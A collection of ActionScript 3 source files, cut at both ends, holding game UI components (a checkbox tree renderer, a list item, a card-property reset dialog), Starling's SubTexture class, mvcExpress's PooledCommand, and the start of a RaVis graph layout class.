myCheckBox.x=super.icon.x + myTree.checkBoxLeftGap;
myCheckBox.y=(height - myCheckBox.height) / 2;
super.icon.x=myCheckBox.x + myCheckBox.width + myTree.checkBoxRightGap;
super.label.x=super.icon.x + super.icon.width + 3;
}
else
{
myCheckBox.x=super.label.x + myTree.checkBoxLeftGap;
myCheckBox.y=(height - myCheckBox.height) / 2;
super.label.x=myCheckBox.x + myCheckBox.width + myTree.checkBoxRightGap;
}
setCheckState(myCheckBox, data, data[myTree.checkBoxStateField]);
if (myTree.checkBoxEnableState && data[myTree.checkBoxStateField] == STATE_SCHRODINGER)
{
fillCheckBox(true);
trace(myTree.checkBoxEnableState);
trace(data[myTree.checkBoxStateField]);
}
else
fillCheckBox(false);
}
}
protected function fillCheckBox(isFill:Boolean):void
{
myCheckBox.graphics.clear();
if (isFill)
{
var myRect:Rectangle=getCheckTreeBgRect(myTree.checkBoxBgPadding);
myCheckBox.graphics.beginFill(myTree.checkBoxBgColor, myTree.checkBoxBgAlpha)
myCheckBox.graphics.drawRoundRect(myRect.x, myRect.y, myRect.width, myRect.height, myTree.checkBoxBgElips, myTree.checkBoxBgElips);
myCheckBox.graphics.endFill();
}
}
protected function getCheckTreeBgRect(checkTreeBgPadding:Number):Rectangle
{
var myRect:Rectangle=myCheckBox.getBounds(myCheckBox);
myRect.top+=checkTreeBgPadding;
myRect.left+=checkTreeBgPadding;
myRect.bottom-=checkTreeBgPadding;
myRect.right-=checkTreeBgPadding;
return myRect;
}
} //end class
} //end package
|
package com.playfab.ServerModels
{
public class SetPublisherDataResult
{
public function SetPublisherDataResult(data:Object=null)
{
if(data == null)
return;
}
}
}
|
package ui {
import core.CustomEvent;
import core.MouseEvents;
import core.TPDisplayObject;
import core.TPMovieClip;
import flash.geom.ColorTransform;
import flash.text.TextFormat;
/**
* ...
* @author notSafeForDev
*/
public class UIListItem {
public var clickEvent : CustomEvent;
public var background : TPMovieClip;
protected var primaryText : TextElement;
protected var secondaryText : TextElement;
protected var index : Number;
private var defaultColorTransform : ColorTransform;
private var highlightColorTransform : ColorTransform;
protected var width : Number;
protected var height : Number = 20;
public function UIListItem(_parent : TPMovieClip, _width : Number, _index : Number) {
width = _width;
index = _index;
clickEvent = new CustomEvent();
defaultColorTransform = new ColorTransform();
highlightColorTransform = new ColorTransform();
highlightColorTransform.redOffset = 100;
highlightColorTransform.greenOffset = 100;
highlightColorTransform.blueOffset = 100;
background = TPMovieClip.create(_parent, "listItem" + _index);
background.y = _index * height;
updateBackgroundGraphics();
primaryText = new TextElement(background, "");
TextStyles.applyListItemStyle(primaryText);
primaryText.element.width = _width;
primaryText.element.height = height;
secondaryText = new TextElement(background, "");
TextStyles.applyListItemStyle(secondaryText);
secondaryText.element.width = _width;
secondaryText.element.height = height;
var secondaryTextFormat : TextFormat = secondaryText.getTextFormat();
secondaryTextFormat.align = TextElement.ALIGN_RIGHT;
secondaryText.setTextFormat(secondaryTextFormat);
background.buttonMode = true;
MouseEvents.addOnMouseDown(this, background.sourceDisplayObject, onMouseDown);
}
protected function updateBackgroundGraphics() : void {
background.graphics.clear();
background.graphics.beginFill(0x000000, 0.5);
background.graphics.drawRect(0, 0, width, height);
}
protected function onMouseDown() : void {
clickEvent.emit(index);
}
public function isVisible() : Boolean {
return background.visible;
}
public function getHeight() : Number {
return height;
}
public function setPrimaryText(_text : String) : void {
primaryText.text = _text;
}
public function setSecondaryText(_text : String) : void {
secondaryText.text = _text;
}
public function highlight() : void {
background.colorTransform = highlightColorTransform;
}
public function clearHighlight() : void {
background.colorTransform = defaultColorTransform;
}
public function hide() : void {
background.visible = false;
background.y = 0;
}
public function show() : void {
background.visible = true;
background.y = index * height;
}
}
} |
package game.view.arena.base
{
import flash.geom.Rectangle;
import feathers.controls.renderers.DefaultListItemRenderer;
import feathers.display.Scale9Image;
import feathers.textures.Scale9Textures;
import game.manager.AssetMgr;
import starling.display.Button;
import starling.display.Image;
import starling.text.TextField;
import starling.textures.Texture;
public class ConvertGoodsBase extends DefaultListItemRenderer
{
public var boxButton:Button;
public var nameTxt:TextField;
public var priceTxt:TextField;
public function ConvertGoodsBase()
{
var ui_gongyong_jiugonggedi10Texture:Texture = AssetMgr.instance.getTexture('ui_gongyong_jiugonggedi');
var ui_gongyong_jiugonggedi10Rect:Rectangle = new Rectangle(38,37,77,75);
var ui_gongyong_jiugonggedi109ScaleTexture:Scale9Textures = new Scale9Textures(ui_gongyong_jiugonggedi10Texture,ui_gongyong_jiugonggedi10Rect);
var ui_gongyong_jiugonggedi109Scale:Scale9Image = new Scale9Image(ui_gongyong_jiugonggedi109ScaleTexture);
ui_gongyong_jiugonggedi109Scale.x = 1;
ui_gongyong_jiugonggedi109Scale.y = 0;
ui_gongyong_jiugonggedi109Scale.width = 125;
ui_gongyong_jiugonggedi109Scale.height = 170;
this.addChild(ui_gongyong_jiugonggedi109Scale);
var boxTexture:Texture = AssetMgr.instance.getTexture('ui_button_wupinkuang');
boxButton = new Button(boxTexture);
boxButton.x = 11;
boxButton.y = 32;
boxButton.width = 107;
boxButton.height = 110;
this.addChild(boxButton);
nameTxt = new TextField(122,30,'','',20,0xffffff,false);
nameTxt.touchable = false;
nameTxt.hAlign = 'center';
nameTxt.x = 1;
nameTxt.y = 5;
this.addChild(nameTxt);
var ui_pvp_rongyuzhibiaozhi17139Texture:Texture = AssetMgr.instance.getTexture('ui_pvp_rongyuzhibiaozhi');
var ui_pvp_rongyuzhibiaozhi17139Image:Image = new Image(ui_pvp_rongyuzhibiaozhi17139Texture);
ui_pvp_rongyuzhibiaozhi17139Image.x = 17;
ui_pvp_rongyuzhibiaozhi17139Image.y = 139;
ui_pvp_rongyuzhibiaozhi17139Image.width = 18;
ui_pvp_rongyuzhibiaozhi17139Image.height = 25;
ui_pvp_rongyuzhibiaozhi17139Image.touchable = false;
this.addChild(ui_pvp_rongyuzhibiaozhi17139Image);
priceTxt = new TextField(75,28,'','',18,0xffffff,false);
priceTxt.touchable = false;
priceTxt.hAlign = 'center';
priceTxt.x = 35;
priceTxt.y = 137;
this.addChild(priceTxt);
}
override public function dispose():void
{
super.dispose();
boxButton.dispose();
}
}
} |
package cardSystem.view
{
import cardSystem.data.CardInfo;
import com.pickgliss.events.FrameEvent;
import com.pickgliss.toplevel.StageReferance;
import com.pickgliss.ui.AlertManager;
import com.pickgliss.ui.ComponentFactory;
import com.pickgliss.ui.LayerManager;
import com.pickgliss.ui.controls.BaseButton;
import com.pickgliss.ui.controls.alert.BaseAlerFrame;
import com.pickgliss.ui.controls.container.VBox;
import com.pickgliss.ui.image.Scale9CornerImage;
import com.pickgliss.ui.text.FilterFrameText;
import com.pickgliss.ui.vo.AlertInfo;
import com.pickgliss.utils.ClassUtils;
import ddt.events.CrazyTankSocketEvent;
import ddt.manager.LanguageMgr;
import ddt.manager.LeavePageManager;
import ddt.manager.PlayerManager;
import ddt.manager.SocketManager;
import ddt.manager.SoundManager;
import ddt.utils.PositionUtils;
import flash.display.DisplayObject;
import flash.display.MovieClip;
import flash.events.MouseEvent;
import road7th.comm.PackageIn;
import road7th.data.DictionaryEvent;
public class PropResetFrame extends BaseAlerFrame
{
private var _cardInfo:CardInfo;
private var _cardCell:ResetCardCell;
private var _count:FilterFrameText;
private var _basicPropVec1:Vector.<FilterFrameText>;
private var _basicPropVec2:Vector.<FilterFrameText>;
private var _oldPropVec:Vector.<FilterFrameText>;
private var _newPropVec:Vector.<FilterFrameText>;
private var _basePropContainer1:VBox;
private var _basePropContainer2:VBox;
private var _oldPropContainer:VBox;
private var _newPropContainer:VBox;
private var _canReplace:Boolean;
private var _isFirst:Boolean = true;
private var _bg1:Scale9CornerImage;
private var _bg2:Scale9CornerImage;
private var _bg3:Scale9CornerImage;
private var _back:MovieClip;
private var _alertInfo:AlertInfo;
private var _helpButton:BaseButton;
private var _propertyPool:Object;
private var _propertys:Vector.<PropertyEmu>;
private var _sendReplace:Boolean = false;
public function PropResetFrame()
{
this._propertyPool = new Object();
super();
this.initView();
this.initEvent();
}
private function initView() : void
{
var _loc2_:FilterFrameText = null;
this._bg1 = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.BG1");
this._bg2 = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.BG2");
this._bg3 = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.BG3");
addToContent(this._bg1);
addToContent(this._bg2);
addToContent(this._bg3);
this._back = ClassUtils.CreatInstance("asset.cardSystem.reset.Back") as MovieClip;
PositionUtils.setPos(this._back,"resetFrame.bgPos");
addToContent(this._back);
this._helpButton = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.Help");
addToContent(this._helpButton);
escEnable = true;
this._basicPropVec1 = new Vector.<FilterFrameText>(4);
this._basicPropVec2 = new Vector.<FilterFrameText>(4);
this._oldPropVec = new Vector.<FilterFrameText>(4);
this._newPropVec = new Vector.<FilterFrameText>(4);
this._cardCell = ComponentFactory.Instance.creatCustomObject("PropResetCell");
this._count = ComponentFactory.Instance.creatComponentByStylename("CardBagCell.count");
PositionUtils.setPos(this._count,"PropResetFrame.countPos");
this._basePropContainer1 = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.basePropContainer1");
this._basePropContainer2 = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.basePropContainer2");
this._oldPropContainer = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.oldPropContainer");
this._newPropContainer = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.newPropContainer");
var _loc1_:int = 0;
while(_loc1_ < 16)
{
_loc2_ = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.PropText");
if(_loc1_ < 4)
{
this._basicPropVec1[_loc1_] = _loc2_;
this._basePropContainer1.addChild(this._basicPropVec1[_loc1_]);
}
else if(_loc1_ < 8)
{
this._basicPropVec2[_loc1_ % 4] = _loc2_;
this._basePropContainer2.addChild(this._basicPropVec2[_loc1_ % 4]);
}
else if(_loc1_ < 12)
{
this._oldPropVec[_loc1_ % 4] = _loc2_;
this._oldPropContainer.addChild(this._oldPropVec[_loc1_ % 4]);
}
else
{
this._newPropVec[_loc1_ % 4] = _loc2_;
this._newPropContainer.addChild(this._newPropVec[_loc1_ % 4]);
}
_loc1_++;
}
addToContent(this._cardCell);
addToContent(this._count);
addToContent(this._basePropContainer1);
addToContent(this._basePropContainer2);
addToContent(this._oldPropContainer);
addToContent(this._newPropContainer);
this._alertInfo = new AlertInfo();
this._alertInfo.title = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.title");
this._alertInfo.submitLabel = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.reset");
this._alertInfo.cancelLabel = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.replace");
this._alertInfo.moveEnable = false;
this._alertInfo.enterEnable = false;
this._alertInfo.cancelEnabled = false;
info = this._alertInfo;
}
private function newPropZero() : void
{
var _loc1_:int = 0;
while(_loc1_ < 4)
{
this._newPropVec[_loc1_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.prop","0");
_loc1_++;
}
}
public function show(param1:CardInfo) : void
{
var _loc3_:int = 0;
this._cardInfo = param1;
this._cardCell.cardInfo = this._cardInfo;
this._propertys = new Vector.<PropertyEmu>();
if(this._cardInfo.realAttack > 0)
{
this._propertys.push(new PropertyEmu("Attack",0));
}
if(this._cardInfo.realDefence > 0)
{
this._propertys.push(new PropertyEmu("Defence",1));
}
if(this._cardInfo.realAgility > 0)
{
this._propertys.push(new PropertyEmu("Agility",2));
}
if(this._cardInfo.realLuck > 0)
{
this._propertys.push(new PropertyEmu("Luck",3));
}
if(this._cardInfo.realGuard > 0)
{
this._propertys.push(new PropertyEmu("Guard",4));
}
if(this._cardInfo.realDamage > 0)
{
this._propertys.push(new PropertyEmu("Damage",5));
}
var _loc2_:int = 0;
while(_loc2_ < this._propertys.length)
{
this._basicPropVec1[_loc2_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame." + this._propertys[_loc2_].key,this._cardInfo["real" + this._propertys[_loc2_].key]);
_loc2_++;
}
this._count.text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.count",this._cardInfo.Count);
if(this._cardInfo.Attack != 0 || this._cardInfo.Defence != 0 || this._cardInfo.Agility != 0 || this._cardInfo.Luck || this._cardInfo.Guard != 0 || this._cardInfo.Damage != 0)
{
_loc3_ = 0;
while(_loc3_ < this._propertys.length)
{
this._oldPropVec[_loc3_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.prop",this._cardInfo[this._propertys[_loc3_].key] > 0?"+" + this._cardInfo[this._propertys[_loc3_].key]:this._cardInfo[this._propertys[_loc3_].key]);
_loc3_++;
}
}
LayerManager.Instance.addToLayer(this,LayerManager.GAME_DYNAMIC_LAYER,true,LayerManager.BLCAK_BLOCKGOUND);
}
public function set cardInfo(param1:CardInfo) : void
{
this._cardInfo = param1;
this._propertys = new Vector.<PropertyEmu>();
if(this._cardInfo.realAttack > 0)
{
this._propertys.push(new PropertyEmu("Attack",0));
}
if(this._cardInfo.realDefence > 0)
{
this._propertys.push(new PropertyEmu("Defence",1));
}
if(this._cardInfo.realAgility > 0)
{
this._propertys.push(new PropertyEmu("Agility",2));
}
if(this._cardInfo.realLuck > 0)
{
this._propertys.push(new PropertyEmu("Luck",3));
}
if(this._cardInfo.realGuard > 0)
{
this._propertys.push(new PropertyEmu("Guard",4));
}
if(this._cardInfo.realDamage > 0)
{
this._propertys.push(new PropertyEmu("Damage",5));
}
}
private function upView() : void
{
this._cardCell.cardInfo = this._cardInfo;
this._count.text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.count",this._cardInfo.Count);
var _loc1_:int = 0;
while(_loc1_ < this._propertys.length)
{
this._basicPropVec1[_loc1_].text = this._basicPropVec2[_loc1_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame." + this._propertys[_loc1_].key,this._cardInfo["real" + this._propertys[_loc1_].key]);
_loc1_++;
}
}
private function upOldProp(param1:CardInfo) : void
{
var _loc3_:* = null;
var _loc2_:int = 0;
for(_loc3_ in this._propertyPool)
{
this._oldPropVec[_loc2_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.prop",param1[_loc3_] > 0?"+" + param1[_loc3_]:param1[_loc3_]);
_loc2_++;
}
}
private function upNewProp(param1:CardInfo) : void
{
var _loc2_:int = 0;
while(_loc2_ < this._propertys.length)
{
this._basicPropVec1[_loc2_].text = this._basicPropVec2[_loc2_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame." + this._propertys[_loc2_].key,this._cardInfo["real" + this._propertys[_loc2_].key]);
_loc2_++;
}
}
private function initEvent() : void
{
addEventListener(FrameEvent.RESPONSE,this.__responseHandler);
SocketManager.Instance.addEventListener(CrazyTankSocketEvent.CARD_RESET,this.__reset);
PlayerManager.Instance.Self.cardBagDic.addEventListener(DictionaryEvent.UPDATE,this.__upDate);
addEventListener(FrameEvent.RESPONSE,this.__response);
this._helpButton.addEventListener(MouseEvent.CLICK,this.__helpOpen);
}
private function __response(param1:FrameEvent) : void
{
switch(param1.responseCode)
{
case FrameEvent.SUBMIT_CLICK:
this.__resethandler(null);
break;
case FrameEvent.CANCEL_CLICK:
this.__replaceHandler(null);
break;
case FrameEvent.CLOSE_CLICK:
case FrameEvent.ESC_CLICK:
}
}
private function removeEvent() : void
{
removeEventListener(FrameEvent.RESPONSE,this.__responseHandler);
SocketManager.Instance.removeEventListener(CrazyTankSocketEvent.CARD_RESET,this.__reset);
PlayerManager.Instance.Self.cardBagDic.removeEventListener(DictionaryEvent.UPDATE,this.__upDate);
removeEventListener(FrameEvent.RESPONSE,this.__response);
this._helpButton.removeEventListener(MouseEvent.CLICK,this.__helpOpen);
}
protected function __upDate(param1:DictionaryEvent) : void
{
var _loc3_:int = 0;
var _loc4_:int = 0;
var _loc2_:CardInfo = param1.data as CardInfo;
this.cardInfo = _loc2_;
if(this._sendReplace)
{
this.upView();
_loc3_ = 0;
while(_loc3_ < this._newPropVec.length)
{
this._basicPropVec2[_loc3_].text = this._newPropVec[_loc3_].text = "";
_loc3_++;
}
if(this._cardInfo.Attack != 0 || this._cardInfo.Defence != 0 || this._cardInfo.Agility != 0 || this._cardInfo.Luck || this._cardInfo.Guard != 0 || this._cardInfo.Damage != 0)
{
_loc4_ = 0;
while(_loc4_ < this._propertys.length)
{
this._oldPropVec[_loc4_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.prop",this._cardInfo[this._propertys[_loc4_].key] > 0?"+" + this._cardInfo[this._propertys[_loc4_].key]:this._cardInfo[this._propertys[_loc4_].key]);
_loc4_++;
}
}
this._sendReplace = false;
}
this._count.text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.count",this._cardInfo.Count);
}
protected function __replaceHandler(param1:MouseEvent) : void
{
SoundManager.instance.play("008");
if(this._canReplace)
{
SocketManager.Instance.out.sendReplaceCardProp(this._cardInfo.Place);
this.setReplaceAbled(false);
this._alertInfo.cancelEnabled = false;
this._sendReplace = true;
}
}
protected function __resethandler(param1:MouseEvent) : void
{
var _loc2_:BaseAlerFrame = null;
SoundManager.instance.play("008");
if(this._cardInfo.Count < 3)
{
_loc2_ = AlertManager.Instance.simpleAlert(LanguageMgr.GetTranslation("AlertDialog.Info"),LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.EmptyCard"),LanguageMgr.GetTranslation("ok"),LanguageMgr.GetTranslation("cancel"),false,false,false,LayerManager.ALPHA_BLOCKGOUND);
_loc2_.addEventListener(FrameEvent.RESPONSE,this.__emptyCardResponse);
}
else
{
SocketManager.Instance.out.sendCardReset(this._cardInfo.Place);
this._alertInfo.submitEnabled = false;
this.setReplaceAbled(true);
}
}
private function __emptyCardResponse(param1:FrameEvent) : void
{
var _loc2_:BaseAlerFrame = param1.currentTarget as BaseAlerFrame;
_loc2_.removeEventListener(FrameEvent.RESPONSE,this.__emptyCardResponse);
_loc2_.dispose();
SoundManager.instance.play("008");
switch(param1.responseCode)
{
case FrameEvent.SUBMIT_CLICK:
case FrameEvent.ENTER_CLICK:
if(PlayerManager.Instance.Self.Money >= 300)
{
SocketManager.Instance.out.sendCardReset(this._cardInfo.Place);
this.setReplaceAbled(true);
}
else
{
LeavePageManager.showFillFrame();
}
break;
case FrameEvent.CANCEL_CLICK:
case FrameEvent.CLOSE_CLICK:
case FrameEvent.ESC_CLICK:
StageReferance.stage.focus = this;
}
}
private function setReplaceAbled(param1:Boolean) : void
{
this._alertInfo.cancelEnabled = this._canReplace = param1;
}
protected function __noReplaceHandler(param1:MouseEvent) : void
{
SoundManager.instance.play("008");
this.newPropZero();
}
private function __reset(param1:CrazyTankSocketEvent) : void
{
var _loc2_:PackageIn = param1.pkg;
var _loc3_:int = _loc2_.readInt();
var _loc4_:Array = [];
var _loc5_:int = 0;
while(_loc5_ < _loc3_)
{
_loc4_.push(_loc2_.readInt());
_loc5_++;
}
var _loc6_:int = 0;
while(_loc6_ < this._propertys.length)
{
this._newPropVec[_loc6_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.prop",_loc4_[this._propertys[_loc6_].idx] > 0?"+" + _loc4_[this._propertys[_loc6_].idx]:_loc4_[this._propertys[_loc6_].idx]);
this._basicPropVec2[_loc6_].text = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame." + this._propertys[_loc6_].key,this._cardInfo["real" + this._propertys[_loc6_].key]);
_loc6_++;
}
this._alertInfo.submitEnabled = true;
this._alertInfo.cancelEnabled = true;
}
protected function __responseHandler(param1:FrameEvent) : void
{
if(param1.responseCode == FrameEvent.CLOSE_CLICK || param1.responseCode == FrameEvent.ESC_CLICK)
{
SoundManager.instance.play("008");
this.dispose();
}
}
override public function dispose() : void
{
if(this._cardCell)
{
this._cardCell.dispose();
}
this._cardCell = null;
super.dispose();
this.removeEvent();
this._count = null;
var _loc1_:int = 0;
while(_loc1_ < 6)
{
this._basicPropVec1[_loc1_] = null;
this._basicPropVec2[_loc1_] = null;
this._oldPropVec[_loc1_] = null;
this._newPropVec[_loc1_] = null;
_loc1_++;
}
this._bg1 = null;
this._bg2 = null;
this._bg3 = null;
this._basePropContainer1 = null;
this._basePropContainer2 = null;
this._oldPropContainer = null;
this._newPropContainer = null;
this._back = null;
this._helpButton = null;
this._propertyPool = null;
this._propertys = null;
if(this.parent)
{
this.parent.removeChild(this);
}
}
private function __helpOpen(param1:MouseEvent) : void
{
SoundManager.instance.play("008");
param1.stopImmediatePropagation();
var _loc2_:DisplayObject = ComponentFactory.Instance.creatComponentByStylename("Scale9CornerImage17");
var _loc3_:DisplayObject = ComponentFactory.Instance.creat("asset.cardSystem.reset.help.content");
PositionUtils.setPos(_loc3_,"resetFrame.help.contentPos");
var _loc4_:AlertInfo = new AlertInfo();
_loc4_.title = LanguageMgr.GetTranslation("ddt.cardSystem.PropResetFrame.help.title");
_loc4_.submitLabel = LanguageMgr.GetTranslation("ok");
_loc4_.showCancel = false;
_loc4_.moveEnable = false;
var _loc5_:BaseAlerFrame = ComponentFactory.Instance.creatComponentByStylename("PropResetFrame.HelpFrame");
_loc5_.info = _loc4_;
_loc5_.addToContent(_loc2_);
_loc5_.addToContent(_loc3_);
_loc5_.addEventListener(FrameEvent.RESPONSE,this.__helpResponse);
LayerManager.Instance.addToLayer(_loc5_,LayerManager.STAGE_DYANMIC_LAYER,true,LayerManager.BLCAK_BLOCKGOUND);
}
private function __helpResponse(param1:FrameEvent) : void
{
var _loc2_:BaseAlerFrame = param1.currentTarget as BaseAlerFrame;
_loc2_.removeEventListener(FrameEvent.RESPONSE,this.__helpResponse);
_loc2_.dispose();
SoundManager.instance.play("008");
StageReferance.stage.focus = this;
}
}
}
class PropertyEmu
{
public var key:String;
public var idx:int;
function PropertyEmu(param1:String, param2:int)
{
super();
this.key = param1;
this.idx = param2;
}
}
|
// =================================================================================================
//
// Starling Framework
// Copyright 2011 Gamua OG. All Rights Reserved.
//
// This program is free software. You can redistribute and/or modify it
// in accordance with the terms of the accompanying license agreement.
//
// =================================================================================================
package starling.textures
{
import flash.display3D.textures.TextureBase;
import flash.geom.Point;
import flash.geom.Rectangle;
import starling.utils.VertexData;
/** A SubTexture represents a section of another texture. This is achieved solely by
* manipulation of texture coordinates, making the class very efficient.
*
* <p><em>Note that it is OK to create subtextures of subtextures.</em></p>
*/
public class SubTexture extends Texture
{
private var mParent:Texture;
private var mClipping:Rectangle;
private var mRootClipping:Rectangle;
private var mOwnsParent:Boolean;
/** Helper object. */
private static var sTexCoords:Point = new Point();
/** Creates a new subtexture containing the specified region (in points) of a parent
* texture. If 'ownsParent' is true, the parent texture will be disposed automatically
* when the subtexture is disposed. */
public function SubTexture(parentTexture:Texture, region:Rectangle,
ownsParent:Boolean=false)
{
mParent = parentTexture;
mOwnsParent = ownsParent;
if (region == null) setClipping(new Rectangle(0, 0, 1, 1));
else setClipping(new Rectangle(region.x / parentTexture.width,
region.y / parentTexture.height,
region.width / parentTexture.width,
region.height / parentTexture.height));
}
/** Disposes the parent texture if this texture owns it. */
public override function dispose():void
{
if (mOwnsParent) mParent.dispose();
super.dispose();
}
private function setClipping(value:Rectangle):void
{
mClipping = value;
mRootClipping = value.clone();
var parentTexture:SubTexture = mParent as SubTexture;
while (parentTexture)
{
var parentClipping:Rectangle = parentTexture.mClipping;
mRootClipping.x = parentClipping.x + mRootClipping.x * parentClipping.width;
mRootClipping.y = parentClipping.y + mRootClipping.y * parentClipping.height;
mRootClipping.width *= parentClipping.width;
mRootClipping.height *= parentClipping.height;
parentTexture = parentTexture.mParent as SubTexture;
}
}
/** @inheritDoc */
public override function adjustVertexData(vertexData:VertexData, vertexID:int, count:int):void
{
super.adjustVertexData(vertexData, vertexID, count);
var clipX:Number = mRootClipping.x;
var clipY:Number = mRootClipping.y;
var clipWidth:Number = mRootClipping.width;
var clipHeight:Number = mRootClipping.height;
var endIndex:int = vertexID + count;
for (var i:int=vertexID; i<endIndex; ++i)
{
vertexData.getTexCoords(i, sTexCoords);
vertexData.setTexCoords(i, clipX + sTexCoords.x * clipWidth,
clipY + sTexCoords.y * clipHeight);
}
}
/** @inheritDoc */
public override function adjustTexCoords(texCoords:Vector.<Number>,
startIndex:int=0, stride:int=0, count:int=-1):void
{
if (count < 0)
count = (texCoords.length - startIndex - 2) / (stride + 2) + 1;
var index:int = startIndex;
for (var i:int=0; i<count; ++i)
{
texCoords[index] = mRootClipping.x + texCoords[index] * mRootClipping.width;
index += 1;
texCoords[index] = mRootClipping.y + texCoords[index] * mRootClipping.height;
index += 1 + stride;
}
}
/** The texture which the subtexture is based on. */
public function get parent():Texture { return mParent; }
/** Indicates if the parent texture is disposed when this object is disposed. */
public function get ownsParent():Boolean { return mOwnsParent; }
/** The clipping rectangle, which is the region provided on initialization
* scaled into [0.0, 1.0]. */
public function get clipping():Rectangle { return mClipping.clone(); }
/** @inheritDoc */
public override function get base():TextureBase { return mParent.base; }
/** @inheritDoc */
public override function get root():ConcreteTexture { return mParent.root; }
/** @inheritDoc */
public override function get format():String { return mParent.format; }
/** @inheritDoc */
public override function get width():Number { return mParent.width * mClipping.width; }
/** @inheritDoc */
public override function get height():Number { return mParent.height * mClipping.height; }
/** @inheritDoc */
public override function get nativeWidth():Number { return mParent.nativeWidth * mClipping.width; }
/** @inheritDoc */
public override function get nativeHeight():Number { return mParent.nativeHeight * mClipping.height; }
/** @inheritDoc */
public override function get mipMapping():Boolean { return mParent.mipMapping; }
/** @inheritDoc */
public override function get premultipliedAlpha():Boolean { return mParent.premultipliedAlpha; }
/** @inheritDoc */
public override function get scale():Number { return mParent.scale; }
}
} |
package
{
import flash.display.MovieClip;
public dynamic class SPECIALStar extends MovieClip
{
public function SPECIALStar()
{
super();
}
}
}
|
// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
package mvcexpress.mvc {
import mvcexpress.core.namespace.pureLegsCore;
/**
* Command that is automatically pooled. <p>
* Pooled commands improves performance as they need to be constructed only once. Use them with commands that are executed very often. <br/>
* You can lock() command to prevent it from being pooled after execute, locked commands are pooled after you unlock() them. </p>
* @author Raimundas Banevicius (http://mvcexpress.org/)
*
* @version 2.0.rc1
*/
public class PooledCommand extends Command {
/** Stores information if command is locked from automatic pooling by user.
* @private */
private var _isLocked:Boolean;// = false;
/** Shows if command is locked, and will not be automatically pooling after execution, or not.
* Asynchronous PooledCommand must be locked then used, and unlocked then they are done with there work.
*/
public function get isLocked():Boolean {
return _isLocked;
}
/**
* Locks PooledCommand to avoid automatic pooling after execution.
* Command lock(), unlock() functions are used with asynchronous commands.
*/
public function lock():void {
_isLocked = true;
}
/**
* Unlock and pool PooledCommand.
* Only previously locked commands can be unlocked, or error will be thrown.
* Command lock(), unlock() functions are used with asynchronous commands.
*/
public function unlock():void {
if (_isLocked) {
_isLocked = false;
use namespace pureLegsCore;
if (isExecuting) {
commandMap.poolCommand(this);
}
} else {
throw Error("You are trying to unlock PooledCommand that was never locked. lock() it first.");
}
}
}
} |
/*
* The MIT License
*
* Copyright (c) 2007 The SixDegrees Project Team
* (Jason Bellone, Juan Rodriguez, Segolene de Basquiat, Daniel Lang).
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.un.cava.birdeye.ravis.graphLayout.layout {
import flash.utils.Dictionary;
import flash.geom.Point;
import org.un.cava.birdeye.ravis.graphLayout.data.INode;
import org.un.cava.birdeye.ravis.utils.Geometry;
import org.un.cava.birdeye.ravis.utils.LogUtil;
/**
* This class is similar to the parent centered layout drawing
* model. The actual layouter is different only in the aspect
* of the node radius which creates a sea-shell like structure.
* @see org.un.cava.birdeye.ravis.graphLayout.layout.ParentCenteredDrawingModel
* */
public class PhylloTreeDrawingModel extends BaseLayoutDrawing {
private static const _LOG:String = "graphLayout.layout.PhylloTreeDrawingModel";
/* radius of tier-1 nodes */
private var _rootR:Number;
/* user set spreading angle */
private var _phi:Number;
/* in this layout each node has its parent as origin, thus
* we have an origin for each node */
private var _nodeOrigins:Dictionary;
/* for each node, there is also an angular origin i.e. a
* relative zero angle */
private var _nodeZeroAngleOffsets:Dictionary;
/* in addition to the relative coordaintes, we need
* to keep track of the relative relative polar coordinates */
private var _localPolarRs:Dictionary;
private var _localPolarPhis:Dictionary;
/**
* The constructor only initializes the datastructures.
* */
public function PhylloTreeDrawingModel() {
super();
_nodeOrigins = new Dictionary;
_nodeZeroAngleOffsets = new Dictionary;
_localPolarRs = new Dictionary;
_localPolarPhis = new Dictionary;
/* default root radius */
_rootR = 30;
/* default starting angle */
_phi = 60;
}
/**
* Access to the starting polar radius of the layout.
* */
[Bindable]
public function get rootR():Number {
return _rootR;
}
/**
* @private
* */
public function set rootR(rr:Number):void {
_rootR = rr;
}
/**
